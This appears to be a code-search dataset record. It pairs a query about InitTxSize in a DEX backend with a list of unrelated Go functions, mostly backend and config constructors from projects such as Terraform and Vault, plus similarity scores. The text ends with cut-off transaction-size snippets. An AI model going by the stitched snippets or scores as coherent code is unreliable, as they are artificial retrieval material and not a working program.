{\n\t\t\t\tvar buf bytes.Buffer\n\t\t\t\tfor addr, err := range errs {\n\t\t\t\t\tfmt.Fprintf(&buf, \"\\n - %s: %s\", addr, err)\n\t\t\t\t}\n\t\t\t\tsuggestion := \"To download the plugins required for this configuration, run:\\n terraform init\"\n\t\t\t\tif m.RunningInAutomation {\n\t\t\t\t\t// Don't mention \"terraform init\" specifically if we're running in an automation wrapper\n\t\t\t\t\tsuggestion = \"You must install the required plugins before running Terraform operations.\"\n\t\t\t\t}\n\t\t\t\tdiags = diags.Append(tfdiags.Sourceless(\n\t\t\t\t\ttfdiags.Error,\n\t\t\t\t\t\"Required plugins are not installed\",\n\t\t\t\t\tfmt.Sprintf(\n\t\t\t\t\t\t\"The installed provider plugins are not consistent with the packages selected in the dependency lock file:%s\\n\\nTerraform uses external plugins to integrate with a variety of different infrastructure services. %s\",\n\t\t\t\t\t\tbuf.String(), suggestion,\n\t\t\t\t\t),\n\t\t\t\t))\n\t\t\t\treturn nil, diags\n\t\t\t}\n\t\t} else {\n\t\t\t// All other errors just get generic handling.\n\t\t\tdiags = diags.Append(err)\n\t\t\treturn nil, diags\n\t\t}\n\t}\n\tcliOpts.Validation = true\n\n\t// If the backend supports CLI initialization, do it.\n\tif cli, ok := b.(backend.CLI); ok {\n\t\tif err := cli.CLIInit(cliOpts); err != nil {\n\t\t\tdiags = diags.Append(fmt.Errorf(\n\t\t\t\t\"Error initializing backend %T: %s\\n\\n\"+\n\t\t\t\t\t\"This is a bug; please report it to the backend developer\",\n\t\t\t\tb, err,\n\t\t\t))\n\t\t\treturn nil, diags\n\t\t}\n\t}\n\n\t// If the result of loading the backend is an enhanced backend,\n\t// then return that as-is. This works even if b == nil (it will be !ok).\n\tif enhanced, ok := b.(backend.Enhanced); ok {\n\t\tlog.Printf(\"[TRACE] Meta.Backend: backend %T supports operations\", b)\n\t\treturn enhanced, nil\n\t}\n\n\t// We either have a non-enhanced backend or no backend configured at\n\t// all. In either case, we use local as our enhanced backend and the\n\t// non-enhanced (if any) as the state backend.\n\n\tif !opts.ForceLocal {\n\t\tlog.Printf(\"[TRACE] Meta.Backend: backend %T does not support operations, so wrapping it in a local backend\", b)\n\t}\n\n\t// Build the local backend\n\tlocal := backendLocal.NewWithBackend(b)\n\tif err := local.CLIInit(cliOpts); err != nil {\n\t\t// Local backend isn't allowed to fail. It would be a bug.\n\t\tpanic(err)\n\t}\n\n\t// If we got here from backendFromConfig returning nil then m.backendState\n\t// won't be set, since that codepath considers that to be no backend at all,\n\t// but our caller considers that to be the local backend with no config\n\t// and so we'll synthesize a backend state so other code doesn't need to\n\t// care about this special case.\n\t//\n\t// FIXME: We should refactor this so that we more directly and explicitly\n\t// treat the local backend as the default, including in the UI shown to\n\t// the user, since the local backend should only be used when learning or\n\t// in exceptional cases and so it's better to help the user learn that\n\t// by introducing it as a concept.\n\tif m.backendState == nil {\n\t\t// NOTE: This synthetic object is intentionally _not_ retained in the\n\t\t// on-disk record of the backend configuration, which was already dealt\n\t\t// with inside backendFromConfig, because we still need that codepath\n\t\t// to be able to recognize the lack of a config as distinct from\n\t\t// explicitly setting local until we do some more refactoring here.\n\t\tm.backendState = &legacy.BackendState{\n\t\t\tType: \"local\",\n\t\t\tConfigRaw: json.RawMessage(\"{}\"),\n\t\t}\n\t}\n\n\treturn local, nil\n}", "func New(config Config) zapcore.WriteSyncer {\n\treturn &gelf{Config: config}\n}", "func (b Factory) New(ctx context.Context, name string, l log.Interface, cfg *config.Config) (Database, error) {\n\tbackend, ok := b[name]\n\tif !ok {\n\t\treturn nil, errwrap.Wrap(ErrDatabaseNotFound, name)\n\t}\n\n\tdb, err := backend.New(ctx, l, cfg)\n\n\treturn db, errwrap.Wrap(err, \"failed to create backend\")\n}", "func New(service Service) interface {\n\tmodule.Module\n\tbackend.Module\n} {\n\treturn newBackendModule(service)\n}", "func New(options ...func(pushers.Channel) error) (pushers.Channel, error) {\n\tc := Backend{\n\t\tch: make(chan map[string]interface{}, 100),\n\t}\n\n\tfor _, optionFn := range options {\n\t\toptionFn(&c)\n\t}\n\n\tif c.WebhookURL == \"\" {\n\t\treturn nil, errors.New(\"Invalid Config: WebhookURL can not be empty\")\n\t}\n\n\tgo c.run()\n\n\treturn &c, nil\n}", "func NewLeveldbBackend(storagePath string) (backend *LeveldbBackend, err error) {\n\t// Set up backend to use a lru cache and\n\t// create store files if not existing yet\n\topts := leveldb.NewOptions()\n\topts.SetCache(leveldb.NewLRUCache(LEVELDB_LRU_CACHE_SIZE))\n\topts.SetCreateIfMissing(true)\n\n\t// Open database file\n\tdb, err := leveldb.Open(filepath.Join(storagePath, \"data\"), opts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Build backend using previously created\n\t// options and db connector\n\tbackend = &LeveldbBackend{\n\t\tOptions: opts,\n\t\tDb: db,\n\t}\n\n\treturn backend, nil\n}", "func New(\n\tconfigPath string,\n\tdefaultConfig Config,\n) (Config, error) {\n\tif configPath == \"\" {\n\t\treturn defaultConfig, nil\n\t}\n\tcontent, err := ioutil.ReadFile(configPath)\n\tif err != nil {\n\t\treturn Config{}, err\n\t}\n\tgc := defaultConfig\n\tif err = yaml.Unmarshal(content, &gc); err != nil {\n\t\treturn Config{}, err\n\t}\n\treturn gc, nil\n}", "func newCtx(dir string) (*sdcgContext, error) {\n\tvar err error\n\tif dir == \"\" {\n\t\tdir, err = os.Getwd()\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"unable to get working directory: %w\", err)\n\t\t}\n\t}\n\tmodFile, err := findGoModFile(dir)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tmod, err := gomod.Parse(\"go.mod\", modFile)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &sdcgContext{\n\t\tdir: dir,\n\t\tcurrentModule: mod.Name,\n\t}, nil\n}", "func Backend(conf *logical.BackendConfig) *backend {\n\tvar b backend\n\tb.Backend = &framework.Backend{\n\t\tHelp: strings.TrimSpace(backendHelp),\n\n\t\tPathsSpecial: &logical.Paths{\n\t\t\tUnauthenticated: []string{\n\t\t\t\t\"cert/*\",\n\t\t\t\t\"ca/pem\",\n\t\t\t\t\"ca_chain\",\n\t\t\t\t\"ca\",\n\t\t\t\t\"crl/pem\",\n\t\t\t\t\"crl\",\n\t\t\t},\n\n\t\t\tLocalStorage: []string{\n\t\t\t\t\"revoked/\",\n\t\t\t\t\"crl\",\n\t\t\t\t\"certs/\",\n\t\t\t},\n\n\t\t\tRoot: []string{\n\t\t\t\t\"root\",\n\t\t\t\t\"root/sign-self-issued\",\n\t\t\t},\n\n\t\t\tSealWrapStorage: []string{\n\t\t\t\t\"config/ca_bundle\",\n\t\t\t},\n\t\t},\n\n\t\tPaths: []*framework.Path{\n\t\t\tpathListRoles(&b),\n\t\t\tpathRoles(&b),\n\t\t\tpathGenerateRoot(&b),\n\t\t\tpathSignIntermediate(&b),\n\t\t\tpathSignSelfIssued(&b),\n\t\t\tpathDeleteRoot(&b),\n\t\t\tpathGenerateIntermediate(&b),\n\t\t\tpathSetSignedIntermediate(&b),\n\t\t\tpathConfigCA(&b),\n\t\t\tpathConfigCRL(&b),\n\t\t\tpathConfigURLs(&b),\n\t\t\tpathSignVerbatim(&b),\n\t\t\tpathSign(&b),\n\t\t\tpathIssue(&b),\n\t\t\tpathRotateCRL(&b),\n\t\t\tpathFetchCA(&b),\n\t\t\tpathFetchCAChain(&b),\n\t\t\tpathFetchCRL(&b),\n\t\t\tpathFetchCRLViaCertPath(&b),\n\t\t\tpathFetchValid(&b),\n\t\t\tpathFetchListCerts(&b),\n\t\t\tpathRevoke(&b),\n\t\t\tpathTidy(&b),\n\t\t},\n\n\t\tSecrets: []*framework.Secret{\n\t\t\tsecretCerts(&b),\n\t\t},\n\n\t\tBackendType: logical.TypeLogical,\n\t}\n\n\tb.crlLifetime = time.Hour * 72\n\tb.tidyCASGuard = new(uint32)\n\tb.storage = conf.StorageView\n\n\treturn &b\n}", "func New(ctx context.Context, alias, path string, cfgdir string) (*Store, error) {\n\tpath = fsutil.CleanPath(path)\n\ts := &Store{\n\t\talias: alias,\n\t\tpath: path,\n\t\tsync: gitmock.New(),\n\t}\n\n\t// init store backend\n\tswitch backend.GetStoreBackend(ctx) {\n\tcase backend.FS:\n\t\ts.store = fs.New(path)\n\t\tout.Debug(ctx, \"Using Store Backend: fs\")\n\tcase backend.KVMock:\n\t\ts.store = kvmock.New()\n\t\tout.Debug(ctx, \"Using Store Backend: kvmock\")\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"Unknown store backend\")\n\t}\n\n\t// init sync backend\n\tswitch backend.GetSyncBackend(ctx) {\n\tcase backend.GoGit:\n\t\tout.Cyan(ctx, \"WARNING: Using experimental sync backend 'go-git'\")\n\t\tgit, err := gogit.Open(path)\n\t\tif err != nil {\n\t\t\tout.Debug(ctx, \"Failed to initialize sync backend 'gogit': %s\", err)\n\t\t} else {\n\t\t\ts.sync = git\n\t\t\tout.Debug(ctx, \"Using Sync Backend: go-git\")\n\t\t}\n\tcase backend.GitCLI:\n\t\tgpgBin, _ := gpgcli.Binary(ctx, \"\")\n\t\tgit, err := gitcli.Open(path, gpgBin)\n\t\tif err != nil {\n\t\t\tout.Debug(ctx, \"Failed to initialize sync backend 'git': %s\", err)\n\t\t} else {\n\t\t\ts.sync = git\n\t\t\tout.Debug(ctx, \"Using Sync Backend: git-cli\")\n\t\t}\n\tcase backend.GitMock:\n\t\t// no-op\n\t\tout.Debug(ctx, \"Using Sync Backend: git-mock\")\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"Unknown Sync Backend\")\n\t}\n\n\t// init crypto backend\n\tswitch backend.GetCryptoBackend(ctx) {\n\tcase backend.GPGCLI:\n\t\tgpg, err := gpgcli.New(ctx, gpgcli.Config{\n\t\t\tUmask: fsutil.Umask(),\n\t\t\tArgs: gpgcli.GPGOpts(),\n\t\t})\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\ts.crypto = gpg\n\t\tout.Debug(ctx, \"Using Crypto Backend: gpg-cli\")\n\tcase backend.XC:\n\t\t//out.Red(ctx, \"WARNING: Using highly experimental crypto backend!\")\n\t\tcrypto, err := xc.New(cfgdir, client.New(cfgdir))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\ts.crypto = crypto\n\t\tout.Debug(ctx, \"Using Crypto Backend: xc\")\n\tcase backend.GPGMock:\n\t\t//out.Red(ctx, \"WARNING: Using no-op crypto backend (NO ENCRYPTION)!\")\n\t\ts.crypto = gpgmock.New()\n\t\tout.Debug(ctx, \"Using Crypto Backend: gpg-mock\")\n\tcase backend.OpenPGP:\n\t\tcrypto, err := openpgp.New(ctx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\ts.crypto = crypto\n\t\tout.Debug(ctx, \"Using Crypto Backend: openpgp\")\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"no valid crypto backend selected\")\n\t}\n\n\treturn s, nil\n}", "func BackendFactory(ctx context.Context, backendConfig *logical.BackendConfig) (logical.Backend, error) {\n\n\tsettings, err := parseSettings()\n\tif nil != err {\n\t\treturn nil, err\n\t}\n\n\tif err := common.InitializeLogger(settings); err != nil {\n\t\treturn nil, errors.New(\"vault-auth-spire: Failed to initialize logging - \" + err.Error())\n\t}\n\n\tvar spirePlugin spirePlugin\n\tspirePlugin.settings = settings\n\tspirePlugin.Backend = &framework.Backend{\n\t\tBackendType: logical.TypeCredential,\n\t\tAuthRenew: spirePlugin.pathAuthRenew,\n\t\tPathsSpecial: &logical.Paths{\n\t\t\tUnauthenticated: []string{\"login\"},\n\t\t},\n\t\tPaths: []*framework.Path{\n\t\t\t{\n\t\t\t\tPattern: \"login\",\n\t\t\t\tFields: map[string]*framework.FieldSchema{\n\t\t\t\t\t\"svid\": {\n\t\t\t\t\t\tType: framework.TypeString,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tOperations: map[logical.Operation]framework.OperationHandler{\n\t\t\t\t\tlogical.UpdateOperation: &framework.PathOperation{\n\t\t\t\t\t\tCallback: spirePlugin.pathAuthLogin,\n\t\t\t\t\t\tSummary: \"Login via Spiffe/Spire SVID\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tspirePlugin.verifier = common.NewSvidVerifier()\n\n\tif nil != settings.SourceOfTrust.File {\n\t\ttrustSource, err := common.NewFileTrustSource(settings.SourceOfTrust.File.Domains)\n\t\tif err != nil {\n\t\t\treturn nil, errors.New(\"vault-auth-spire: Failed to initialize file TrustSource - \" + err.Error())\n\t\t}\n\t\tspirePlugin.verifier.AddTrustSource(&trustSource)\n\t} else {\n\t\treturn nil, errors.New(\"vault-auth-spire: No verifier found in settings\")\n\t}\n\n\t// Calls standard Vault plugin setup - magic happens here I bet :shrugs: but if it fails then we're gonna\n\t// kill the plugin\n\tif err := spirePlugin.Setup(ctx, backendConfig); err != nil {\n\t\treturn nil, errors.New(\"vault-auth-spire: Failed in call to spirePlugin.Setup(ctx, backendConfig) - \" + err.Error())\n\t}\n\n\treturn spirePlugin, nil\n}", "func NewEnvBackend(prefix string) confita_backend.Backend {\n\treturn confita_sugar_prefix.WithPrefix(prefix, confita_backend_env.NewBackend())\n}", "func newDynconfigLocal(path string) (*dynconfigLocal, error) {\n\td := &dynconfigLocal{\n\t\tfilepath: path,\n\t}\n\n\treturn d, nil\n}", "func NewHTTPBackend(server, path, format string) (Platform, error) {\n\thb := &HTTPBackend{\n\t\tClient: http.DefaultClient,\n\t\tFormat: format,\n\t}\n\n\t// ensure the url is acceptable and can be parsed\n\taddr, err := url.Parse(\"http://\" + server + path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\thb.URL = addr\n\n\treturn hb, nil\n}", "func BackendConfig(backendConfig string) *BackendConfigOption {\n\treturn &BackendConfigOption{backendConfig}\n}", "func New(cfg *Config, l *log.Logger, b *backend.Backend) (*Frontend, error) {\n\tf := &Frontend{log: l, back: b, cfg: cfg, router: echo.New(), store: session.NewCookieStore([]byte(cfg.SessionSecretKey))}\n\n\tf.router.SetRenderer(f)\n\tf.router.HTTP2(false)\n\n\t// TODO, write logs into file (probable logwriter can be used)\n\tf.router.SetLogOutput(os.Stdout)\n\n\tf.router.Use(mw.Logger())\n\tf.router.Use(mw.Recover())\n\t//\tf.router.Use(frontendMiddleware())\n\tf.router.Use(session.Sessions(\"ESESSION\", f.store))\n\n\tf.router.Static(\"/css\", path.Join(f.cfg.AssetFolder, \"/css\"))\n\tf.router.Static(\"/img\", path.Join(f.cfg.AssetFolder, \"/img\"))\n\tf.router.Static(\"/js\", path.Join(f.cfg.AssetFolder, \"/js\"))\n\tf.router.Static(\"/fonts\", path.Join(f.cfg.AssetFolder, \"/fonts\"))\n\tf.router.Favicon(path.Join(f.cfg.AssetFolder, \"/img/favicon.ico\"))\n\n\th := handler.New(&f.cfg.HandlerCfg, f.store, f.back)\n\tf.router.SetHTTPErrorHandler(h.NotFoundHandler)\n\tf.router.Get(\"/\", h.IndexGetHandler)\n\tf.router.Get(\"/search\", h.SearchbackHandler)\n\tf.router.Get(\"/oauth\", h.OauthRequestHandler)\n\tf.router.Get(\"/oauth/callback\", h.OauthCallbackHandler)\n\tf.router.Post(\"/api/task/next\", h.ApiNextTaskHandler)\n\tf.router.Post(\"/api/task/submit\", h.ApiSubmitTaskResult)\n\tf.router.Get(\"/dashboard\", h.DashboardGetHandler)\n\tf.router.Post(\"/fav/add\", h.AddToFavPostHandler)\n\tf.router.Post(\"/fav/remove\", h.RemoveFromFavPostHandler)\n\t//\tf.router.Get(\"/:package\", h.PackageGetHandler)\n\tf.router.Get(\"/p/*\", h.PackageGetHandler)\n\n\treturn f, nil\n}", "func New(capsuleChan chan *capsule.Capsule) (*Frontend, error) {\n\t// Loads a new structured configuration with the informations of a given\n\t// configuration file.\n\tproviderConfig, err := loadConfig()\n\tif err != nil {\n\t\treturn nil, errors.Annotate(err, \"initiliazing frontend\")\n\t}\n\n\t// Initializes a userInput channel.\n\tuserInput := make(chan *provider.CapsuleProvider)\n\n\t// Loads frontend providers defined as activated.\n\tproviders, err := loadProvider(providerConfig, userInput)\n\tif err != nil {\n\t\treturn nil, errors.Annotate(err, \"initiliazing frontend\")\n\t}\n\n\treturn &Frontend{\n\t\tactivatedProviders: providers,\n\t\tuserInput: userInput,\n\t\tcapsule: capsuleChan,\n\t\twg: &sync.WaitGroup{},\n\t}, nil\n}", "func New(file ...string) *Config {\n\tname := DefaultConfigFile\n\tif len(file) > 0 {\n\t\tname = file[0]\n\t} else {\n\t\t// Custom default configuration file name from command line or environment.\n\t\tif customFile := gcmd.GetOptWithEnv(commandEnvKeyForFile).String(); customFile != \"\" {\n\t\t\tname = customFile\n\t\t}\n\t}\n\tc := &Config{\n\t\tdefaultName: name,\n\t\tsearchPaths: garray.NewStrArray(true),\n\t\tjsonMap: gmap.NewStrAnyMap(true),\n\t}\n\t// Customized dir path from env/cmd.\n\tif customPath := gcmd.GetOptWithEnv(commandEnvKeyForPath).String(); customPath != \"\" {\n\t\tif gfile.Exists(customPath) {\n\t\t\t_ = c.SetPath(customPath)\n\t\t} else {\n\t\t\tif errorPrint() {\n\t\t\t\tglog.Errorf(\"[gcfg] Configuration directory path does not exist: %s\", customPath)\n\t\t\t}\n\t\t}\n\t} else {\n\t\t// Dir path of working dir.\n\t\tif err := c.AddPath(gfile.Pwd()); err != nil {\n\t\t\tintlog.Error(context.TODO(), err)\n\t\t}\n\n\t\t// Dir path of main package.\n\t\tif mainPath := gfile.MainPkgPath(); mainPath != \"\" && gfile.Exists(mainPath) {\n\t\t\tif err := c.AddPath(mainPath); err != nil {\n\t\t\t\tintlog.Error(context.TODO(), err)\n\t\t\t}\n\t\t}\n\n\t\t// Dir path of binary.\n\t\tif selfPath := gfile.SelfDir(); selfPath != \"\" && gfile.Exists(selfPath) {\n\t\t\tif err := c.AddPath(selfPath); err != nil {\n\t\t\t\tintlog.Error(context.TODO(), err)\n\t\t\t}\n\t\t}\n\t}\n\treturn c\n}", "func InitBackend(addr string) *Backend {\n\tbackend := &Backend{\n\t\taddr: addr,\n\t}\n\n\treturn backend\n}", "func NewMockBackend(ctrl *gomock.Controller) *MockBackend {\n\tmock := &MockBackend{ctrl: ctrl}\n\tmock.recorder = &MockBackendMockRecorder{mock}\n\treturn mock\n}", "func GetBackendConfig(backend string) (cnf *BackendConfig, err error) {\n\tvar u *url.URL\n\tu, err = url.Parse(backend)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcnf = &BackendConfig{}\n\tcnf.Params = map[string]string{}\n\tu.Scheme = strings.ToLower(u.Scheme)\n\n\tif u.Scheme == \"\" && u.Host == \"\" && u.Path != \"\" {\n\t\tcnf.Network, cnf.Address = \"unix\", u.Path\n\t}\n\tif u.Scheme == \"\" && u.Host != \"\" && u.Path == \"\" {\n\t\tcnf.Network, cnf.Address = \"tcp\", u.Host\n\t}\n\tif u.Scheme == \"unix\" && u.Path != \"\" {\n\t\tcnf.Network, cnf.Address = \"unix\", u.Path\n\t}\n\tif u.Scheme == \"tcp\" && u.Host != \"\" {\n\t\tcnf.Network, cnf.Address = \"tcp\", u.Host\n\t}\n\n\tfor k, v := range u.Query() {\n\t\tif len(v) < 1 {\n\t\t\tv = []string{\"\"}\n\t\t}\n\t\tcnf.Params[k] = v[0]\n\t}\n\n\tif cnf.Network == \"\" || cnf.Address == \"\" {\n\t\treturn nil, errors.New(\"Invalid fastcgi address (\" + backend + \") specified `malformed`\")\n\t}\n\n\treturn cnf, nil\n}", "func (c *Config) backendFactory(name string, mode string, proxy bool, servers []*ServerDetail) *Backend {\n\n\treturn &Backend{\n\t\tName: name,\n\t\tMode: mode,\n\t\tServers: servers,\n\t\tOptions: ProxyOptions{},\n\t\tProxyMode: proxy,\n\t}\n}", "func NewGetBackendDefault(code int) *GetBackendDefault {\n\tif code <= 0 {\n\t\tcode = 500\n\t}\n\n\treturn &GetBackendDefault{\n\t\t_statusCode: code,\n\t}\n}", "func (p *EtcdClientV3) GetBackend(backendName string) (*storage.BackendPersistent, error) {\n\tvar backend storage.BackendPersistent\n\tbackendJSON, err := p.Read(config.BackendURL + \"/\" + backendName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\terr = json.Unmarshal([]byte(backendJSON), &backend)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &backend, nil\n}", "func NewContext(ctx context.Context, cfg *Config) context.Context {\n\treturn context.WithValue(ctx, cfgKey, cfg)\n}", "func Backend() *backend {\n\tvar b backend\n\tb.Backend = &framework.Backend{\n\t\tHelp: \"\",\n\t\tPaths: framework.PathAppend(\n\t\t\terrorPaths(&b),\n\t\t\tkvPaths(&b),\n\t\t\t[]*framework.Path{\n\t\t\t\tpathInternal(&b),\n\t\t\t\tpathSpecial(&b),\n\t\t\t\tpathRaw(&b),\n\t\t\t},\n\t\t),\n\t\tPathsSpecial: &logical.Paths{\n\t\t\tUnauthenticated: []string{\n\t\t\t\t\"special\",\n\t\t\t},\n\t\t},\n\t\tSecrets: []*framework.Secret{},\n\t\tInvalidate: b.invalidate,\n\t\tBackendType: logical.TypeLogical,\n\t}\n\tb.internal = \"bar\"\n\treturn &b\n}", "func CreateBackend(name string, params BackendParams) (Backend, error) {\n\tif f, ok := BackendFactories[name]; ok {\n\t\treturn f(params)\n\t}\n\treturn nil, nil\n}", "func ConfigFromBackend(coreBackend ...core.ConfigBackend) (msp.IdentityConfig, error) {\n\n\t//create identity config\n\tconfig := &IdentityConfig{backend: lookup.New(coreBackend...)}\n\n\t//preload config identities\n\terr := config.loadIdentityConfigEntities()\n\tif err != nil {\n\t\treturn nil, errors.WithMessage(err, \"failed to create identity config from backends\")\n\t}\n\n\treturn config, nil\n}", "func NewCtx(\n\tservice string,\n\tc *config.Config,\n\tl log.Logger,\n\ts stats.Stats,\n\tsd disco.Agent,\n) Ctx {\n\t// Build background registry\n\treg := bg.NewReg(service, l, s)\n\n\tlf := []log.Field{\n\t\tlog.String(\"node\", c.Node),\n\t\tlog.String(\"version\", c.Version),\n\t\tlog.String(\"log_type\", \"A\"),\n\t}\n\n\tctx, cancelFunc := goc.WithCancel(goc.Background())\n\n\treturn &context{\n\t\tservice: service,\n\t\tappConfig: c,\n\t\tbgReg: reg,\n\t\tdisco: sd,\n\t\tc: ctx,\n\t\tcancelFunc: cancelFunc,\n\t\tl: l.AddCalldepth(1),\n\t\tlFields: lf,\n\t\tstats: s,\n\t}\n}" ]
[ "0.61432004", "0.59374225", "0.58322126", "0.57158095", "0.5665095", "0.56398", "0.56123394", "0.56093603", "0.5591699", "0.55635166", "0.5289244", "0.5264355", "0.51071537", "0.5102433", "0.50990784", "0.5057625", "0.5029185", "0.50227", "0.5021972", "0.5018889", "0.49942282", "0.4986349", "0.49780527", "0.4962002", "0.49375337", "0.49130157", "0.48711687", "0.48554417", "0.4833674", "0.47650984", "0.47569728", "0.4754085", "0.47380716", "0.47299016", "0.47237757", "0.4712708", "0.47082084", "0.46989036", "0.46842515", "0.4679313", "0.4672824", "0.46629724", "0.46199206", "0.4604318", "0.45988816", "0.45914024", "0.45773026", "0.45691857", "0.45563096", "0.4554874", "0.4534397", "0.45239523", "0.45210132", "0.45171264", "0.45112476", "0.45073843", "0.45021206", "0.4500479", "0.44995093", "0.4496732", "0.44723278", "0.44688606", "0.44661322", "0.4466087", "0.44640565", "0.4457386", "0.44389275", "0.44389275", "0.4438265", "0.44351166", "0.44289276", "0.44281092", "0.44207093", "0.4420143", "0.4418891", "0.44069245", "0.44001016", "0.43997437", "0.4396697", "0.4390889", "0.43670204", "0.43651524", "0.43622473", "0.43489233", "0.43485588", "0.4344666", "0.4344188", "0.43357685", "0.43149766", "0.43106294", "0.4305599", "0.42929342", "0.42869526", "0.42791787", "0.42738038", "0.42670453", "0.42643672", "0.4259008", "0.4255893", "0.42464432" ]
0.6348927
0
InitTxSize is an asset.DEXAsset method that must produce the max size of a standardized atomic swap initialization transaction.
func (btc *DCRBackend) InitTxSize() uint32 { return dexdcr.InitTxSize }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (eth *Backend) InitTxSize() uint32 {\n\treturn eth.initTxSize\n}", "func (eth *Backend) InitTxSizeBase() uint32 {\n\treturn eth.initTxSize\n}", "func BufferInitSize(size int) int {\n\tif size == 0 {\n\t\treturn globalPool.bufferInitSize\n\t}\n\told := globalPool.bufferInitSize\n\tglobalPool.bufferInitSize = size\n\treturn old\n}", "func GetMaxTxSize() int64 {\r\n\treturn converter.StrToInt64(SysString(MaxTxSize))\r\n}", "func updateTxSize(tx *transaction.Transaction) (*transaction.Transaction, error) {\n\tbw := io.NewBufBinWriter()\n\ttx.EncodeBinary(bw.BinWriter)\n\tif bw.Err != nil {\n\t\treturn nil, fmt.Errorf(\"encode binary: %w\", bw.Err)\n\t}\n\treturn transaction.NewTransactionFromBytes(tx.Bytes())\n}", "func (t *TxContract) SerializeSize() int {\n\t// serialized int size for GasLimit\n\treturn 4\n}", "func (in *ActionIpAddressIndexInput) SetMaxTx(value int64) *ActionIpAddressIndexInput {\n\tin.MaxTx = value\n\n\tif in._selectedParameters == nil {\n\t\tin._selectedParameters = make(map[string]interface{})\n\t}\n\n\tin._selectedParameters[\"MaxTx\"] = nil\n\treturn in\n}", "func InitBufferSize(size int) Options {\n\treturn func(c *config) {\n\t\tif size > 0 {\n\t\t\tc.initBufferSize = size\n\t\t}\n\t}\n}", "func (twe *TxSizeEstimator) Size() int64 {\n\treturn baseTxSize +\n\t\tint64(wire.VarIntSerializeSize(uint64(twe.inputCount))) + // prefix len([]TxIn) varint\n\t\ttwe.InputSize + // prefix []TxIn + witness []TxIn\n\t\tint64(wire.VarIntSerializeSize(uint64(twe.outputCount))) + // prefix len([]TxOut) varint\n\t\ttwe.OutputSize + // []TxOut prefix\n\t\tint64(wire.VarIntSerializeSize(uint64(twe.inputCount))) // witness len([]TxIn) varint\n}", "func (msg *MsgTx) SerializeSize() int {\n\t// Version 4 bytes + LockTime 4 bytes + TxContract 4 bytes + Serialized varint size for the\n\t// number of transaction inputs and outputs.\n\tn := 12 + serialization.VarIntSerializeSize(uint64(len(msg.TxIn))) +\n\t\tserialization.VarIntSerializeSize(uint64(len(msg.TxOut)))\n\n\tfor _, txIn := range msg.TxIn {\n\t\tn += txIn.SerializeSize()\n\t}\n\n\tfor _, txOut := range msg.TxOut {\n\t\tn += txOut.SerializeSize()\n\t}\n\n\treturn n\n}", "func (t *Transaction) Size() int {\n\tif t.size == 0 {\n\t\tt.size = io.GetVarSize(t)\n\t}\n\treturn t.size\n}", "func (owner *WalletOwnerAPI) InitSendTx(initTxArgs libwallet.InitTxArgs) (*slateversions.SlateV4, error) {\n\tparams := struct {\n\t\tToken string `json:\"token\"`\n\t\tArgs libwallet.InitTxArgs `json:\"args\"`\n\t}{\n\t\tToken: owner.token,\n\t\tArgs: initTxArgs,\n\t}\n\tparamsBytes, err := json.Marshal(params)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tenvl, err := owner.client.EncryptedRequest(\"init_send_tx\", paramsBytes, owner.sharedSecret)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif envl == nil {\n\t\treturn nil, errors.New(\"WalletOwnerAPI: Empty RPC Response from grin-wallet\")\n\t}\n\tif envl.Error != nil {\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"code\": envl.Error.Code,\n\t\t\t\"message\": envl.Error.Message,\n\t\t}).Error(\"WalletOwnerAPI: RPC Error during InitSendTx\")\n\t\treturn nil, errors.New(string(envl.Error.Code) + \"\" + envl.Error.Message)\n\t}\n\tvar result Result\n\tif err = json.Unmarshal(envl.Result, &result); err != nil {\n\t\treturn nil, err\n\t}\n\tif result.Err != nil {\n\t\treturn nil, errors.New(string(result.Err))\n\t}\n\n\tvar slate slateversions.SlateV4\n\tif err := json.Unmarshal(result.Ok, &slate); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &slate, nil\n}", "func initTtySize(ctx context.Context, cli ExecCli, isExec bool, resizeTtyFunc func(ctx context.Context, cli ExecCli, isExec bool) error) {\n\trttyFunc := resizeTtyFunc\n\tif rttyFunc == nil {\n\t\trttyFunc = resizeTty\n\t}\n\tif err := rttyFunc(ctx, cli, isExec); err != nil {\n\t\tgo func() {\n\t\t\tvar err error\n\t\t\tfor retry := 0; retry < 5; retry++ {\n\t\t\t\ttime.Sleep(10 * time.Millisecond)\n\t\t\t\tif err = rttyFunc(ctx, cli, isExec); err == nil {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\tfmt.Fprintln(cli.Err(), \"failed to resize tty, using default size\")\n\t\t\t}\n\t\t}()\n\t}\n}", "func (msg *MsgTx) SerializeSize() int {\n\t//util.Trace()\n\n\tn := 1 + // 1 byte version\n\t\t5 // 5 bytes locktime\n\n\tn += VarIntSerializeSize(uint64(len(msg.TxOut)))\n\n\tfor _, txOut := range msg.TxOut {\n\t\tn += txOut.SerializeSize()\n\t}\n\n\tn += VarIntSerializeSize(uint64(len(msg.ECOut)))\n\n\tfor _, ecOut := range msg.ECOut {\n\t\tn += ecOut.SerializeSize()\n\t}\n\n\tn += VarIntSerializeSize(uint64(len(msg.TxIn)))\n\n\tfor _, txIn := range msg.TxIn {\n\t\tn += txIn.SerializeSize()\n\t}\n\n\t/* TODO: RE-ENABLE\n\tn += VarIntSerializeSize(uint64(len(msg.RCDreveal)))\n\n\tfor _, rcd := range msg.RCDreveal {\n\t\tn += rcd.SerializeSize()\n\t}\n\t*/\n\n\t// FIXME\n\t// TODO: 